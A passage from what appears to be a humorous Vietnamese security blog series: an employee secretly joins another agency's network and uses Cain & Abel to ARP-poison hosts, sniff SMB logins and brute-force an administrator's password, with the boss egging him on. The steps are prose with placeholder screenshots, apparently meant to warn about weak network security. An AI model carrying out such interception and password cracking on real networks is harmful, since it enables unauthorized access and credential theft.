Ảnh : Trình Sniffer sẽ không bắt được thông tin đăng nhập

Và đối với việc an toàn thông tin, điều đầu tiên và quan trọng nhất là quy định về an toàn thông tin. Nếu quy định đưa ra một cách rõ ràng và cụ thể cho mức độ vi phạm (như bị kỷ luật, cho nghỉ việc, bị truy tố trước pháp luật….) thì cơ hội thực hiện các hành động xâm phạm thông tin bất hợp pháp sẽ giảm thiếu ở mức tối đa. Không ai muốn đón nhận cái hiểm họa đến với mình nếu như hiểm họa ấy không đủ để đánh đổi điều mình cần lấy.
Vụ án 3 : Thằng Ếch chôm luôn password của Tư Nòng Nọc

Sau vụ án số 2, thằng Ếch đã hai lần vào đọc trộm email của Sếp Hai Nhái thì Sếp sáng mắt hẳn ra. Lúc này Sếp Hai Nhái mới thấy vai trò quan trọng của một người quản trị mạng và cơ sở hạ tầng mạng. Sau này Sếp Hai Nhái đâm ra thích thằng Ếch bởi vì cá tính của nó (có trách nhiệm và không chịu an phận) nên đi đâu cũng dắt nó theo từ việc ký hợp đồng tới ăn nhậu.

Vào một buổi cuối tuần đẹp trời, Sếp Hai Nhái dẫn theo thằng Ếch, Sếp Ba Cóc dẫn theo Tư Nòng Nọc cùng ra quán Xuân Vàng (quán bên bờ kè ở Phan Thiết) nhậu vài ve thư giãn. Sau một hồi chuyện trên trời dưới đất, anh Ba Cóc cứ khoe được cấp trên tài trợ nhiều kinh phí đầu tư cơ sở vật chất :

- Nào là máy tính mới, máy chủ mới, máy in mới …. kể cả con “xế hộp” mới … nên cơ quan tôi cứ như đổi mới hẳn ra. Nghe đâu cấp trên sắp cấp cho một khu đất có địa lý đẹp để xây mới và chuyển cơ quan về đó ….

Còn Tư Nòng Nọc thì cũng dâng lên theo cao trào của Sếp mà nói với thằng Ếch Con là :

- Chú mày cố gắng đọc sách nhiều một chút, nếu cần thì cứ liên hệ với anh mày, anh mày sẽ cho chú mượn máy quyển “1001 thủ thuật registry” và “Quản trị Windows Server 2003 Tiếng Việt” … thì chú mày sẽ khỏe re như anh. Setup mạng theo như sách xong thì chỉ có việc ngồi đọc báo vì mọi thứ hết sức bảo mật. Chú có thể chôm được password của Sếp chú trong hệ thống mạng của công ty chú chứ qua cơ quan anh thì hông có cửa đâu, anh bảo mật chặt chẽ lắm … khà khà.

Thằng Ếch cũng chỉ cười và cụng ly và cảm ơn cho có lệ vì thực chất nó đã đọc mấy quyển Training kit 290 (Managing and Maintaining a Microsoft Windows Server 2003 Environment) và 291 (Implementing, Managing, and Maintaining a Windows Server 2003 Network Infrastructure) rồi. Theo nó thì mấy quyển quản trị Windows bằng tiếng Việt đọc vào chỉ không hiểu thêm vì có rất nhiều từ trong chuyên nghành nên giữ lại thì tác giả dịch sát ván thành tiếng Việt luôn, thành ra nó không hiểu gì. Sếp Hai Nhái cũng không ưu gì cái thói khoe khoang đó nên nói nhỏ với nó “bữa nào chú mày sang đó quậy nó một phen đi, tao ghét mấy thằng yếu mà ra gió”.

Vào một ngày nọ, Sếp Hai Nhái nhờ sang cơ quan Ba Cóc lấy giúp một số phim tư liệu vì làm quảng cáo, thằng Ếch hí hửng vì cơ hội đã tới liền quơ ngay cái laptop compaq của nó bỏ vào balô và sang cơ quan của Ba Cóc & Tư Nòng Nọc. Tới cơ quan nó đợi Tư Nòng Nọc burn đĩa liền xin một sợi cable mạng để ra net đỡ buồn, nó mở laptop và “chít” cable mạng vào và khởi động Cain & Abel (laptop của thằng Ếch lúc nào cũng được cài đặt sẵn các Hack tools như : Cain & Abel, Nmap, Wireshark, Metasploit Framework, Pwdump … để đụng đâu là đánh đó.

Thằng Ếch đã scan được 2 host và bắt đầu tiến hành ARP Poison

picture021

picture022

Tiến trình Poison đang bắt đầu, thằng Ếch liền mở Yahoo Messenger lên để ngụy trang (ngụy trang kiểu Úc, hehe)

picture023

Thật là vô phúc cho anh Tư Nòng Nọc, anh ta không hay biết là thằng Ếch đang có dã tâm chôm password và đang sniff nên cứ vô tư truy cập sang máy sếp Ba Cóc để lấy dữ liệu.

picture024

picture025

Thằng Ếch mừng thầm vì cái nó đợi đã đây rồi, chết chưa Tư Nòng Nọc.

picture026

Nó liền gởi gói SMB (Server Message Block) mà nó đã sniff được sang tab Cracker để tiền hành giải mã.

picture027

Nó dùng cách Brute-Froce Attack để giải mã cái “đống bùi nhùi” mà nó sniff được.

picture028

Nó nhấn Start và chờ đợi

picture029

Bùm beng, password đã được giải mã rồi, thằng Ếch xém chút là hô to lên vì đã có password Admin của thằng cha Tư Nòng Nọc rồi.

picture030

Đố các bạn sau khi chú Ếch nhà ta đưa cái password này cho anh Tư Nòng Nọc thì cảm giác của anh Tư Nòng Nọc sẽ như thế nào ? Phần này tui xin để cho các bạn tự hình dung, còn tui thì đi ngủ đây. hehe